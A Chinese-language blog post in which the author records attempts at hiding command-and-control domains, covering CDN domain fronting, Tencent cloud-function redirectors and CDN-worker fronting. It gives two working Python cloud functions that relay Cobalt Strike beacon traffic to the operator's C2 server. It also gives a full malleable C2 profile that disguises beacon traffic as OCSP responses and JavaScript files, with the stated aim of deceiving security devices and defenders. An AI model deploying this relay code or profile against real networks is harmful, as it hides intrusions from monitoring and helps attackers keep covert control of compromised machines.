域名隐藏的尝试
本文记录一下针对域名隐藏技术的一点点尝试与总结,期间会有比较多的各种之前不知道的协议的简述,看不懂请查询一下,大概是我写的不够清楚。
目的:
域隐藏的总目的是隐藏域名达到欺骗设备并且一定程度上欺骗防守人员。
先说常见的域前置与云函数。
域前置:
域前置目前被各大厂商屏蔽了,过内之前看到文章说ali好像还可以用,没有试过,反正腾讯云这边是不能用了,我也没有过多进行尝试。
先说原理。
域前置的核心是CDN设备,通过CDN设备对于请求的host头的解析功能,实现只改变host头达到访问的域名产生变化的效果,从高可信度域名改为自己的域名。
基本的前置流程是:
- 申请域名
- 申请CDN服务,并且加速上一步申请的域名
- Curl上一步的域名,将host头改为自己的域名
访问成功就是隐藏成功了,顺便别忘了开启https服务,不加密不是好习惯。
在使用CS时,使用域前置使用默认的agent会导致崩溃(我用的测试是版本3.14),使用了参考文章(https://www.anquanke.com/post/id/195011#h2-0)中提到的CACTUSTORCH(https://github.com/mdsecactivebreach/CACTUSTORCH)生成Agent Generator即可。
CACTUSTORCH还没有细研究,挖个大概不会填的坑。
云函数:
这个是目前还在提供服务的,以腾讯云函数为例。
原理上也是利用厂商提供的服务作为中转,将请求转发给我们自己的服务器。
申请账号,在角色管理中同意云函数的授权,即可免费开始使用。
创建函数,下面给两个例子,一个用了base64加密,一个没有。
例1
1 # -*- coding: utf8 -*- 2 3 import requests 4 5 import json 6 7 def geturl(urlstr): 8 9 jurlstr = json.dumps(urlstr) 10 11 dict_url = json.loads(jurlstr) 12 13 return dict_url['u'] 14 15 16 17 def main_handler(event, context): 18 19 url = geturl(event['queryString']) 20 21 postdata = event['body'] 22 23 headers=event['headers'] 24 25 resp=requests.post(url,data=postdata,headers=headers,verify=False) 26 27 response={ 28 29 "isBase64Encoded": False, 30 31 "statusCode": 200, 32 33 "headers": {'Content-Type': 'text/html;charset='+resp.apparent_encoding}, 34 35 "body": resp.text 36 37 } 38 39 return response 40 41
例2
# coding: utf8 import json,requests,base64 def main_handler(event, context): response = {} path = None headers = None try: C2='http://'//or https if 'path' in event.keys(): path=event['path'] if 'headers' in event.keys(): headers=event['headers'] if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' : resp=requests.get(C2+path,headers=headers,verify=False) else: resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False) print(resp.headers) print(resp.content) response={ "isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers), "body": str(base64.b64encode(resp.content))[2:-1] } except Exception as e: print('error') print(e) finally: return response
云函数这一步就部署好了,接下来配置云函数的触发器,API网关触发。
修改触发路径后发布即可。
在C2新增profile文件。
格式类似:
set sample_name "t"; set sleeptime "3000"; set jitter "0"; set maxdns "255"; set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; http-get { set uri "/api/x"; client { header "Accept" "*/*"; metadata { base64; prepend "SESSIONID="; header "Cookie"; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Server" "Nodejs"; output { base64; print; } } } http-stager { set uri_x86 "/vue.min.js"; set uri_x64 "/bootstrap-2.min.js"; } http-post { set uri "/api/y"; client { header "Accept" "*/*"; id { base64; prepend "JSESSION="; header "Cookie"; } output { base64; print; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Connection" "keep-alive"; output { base64; print; } }
即可通信,流量出口是腾讯云。
再说说近期比较流行的(这里说的流行是文章,实战是否流行我就不知道了)
CDN-worker伪造
有一个已经做好的工具是去年2020年8月发布的Noctilucent,也就是域隐藏技术。
这里推荐一下https://cloud.tencent.com/developer/article/1838764文章,手工实现了CDN-worker,也阐述了如何具体实现增加效率。
同时提到了使用反向代理的思路,但是实际体验来说自动化效率不高。
Noctilucent的使用放在下一篇写了!
参考链接
https://blog.csdn.net/w1590191166/article/details/113826579
https://cloud.tencent.com/developer/article/1838764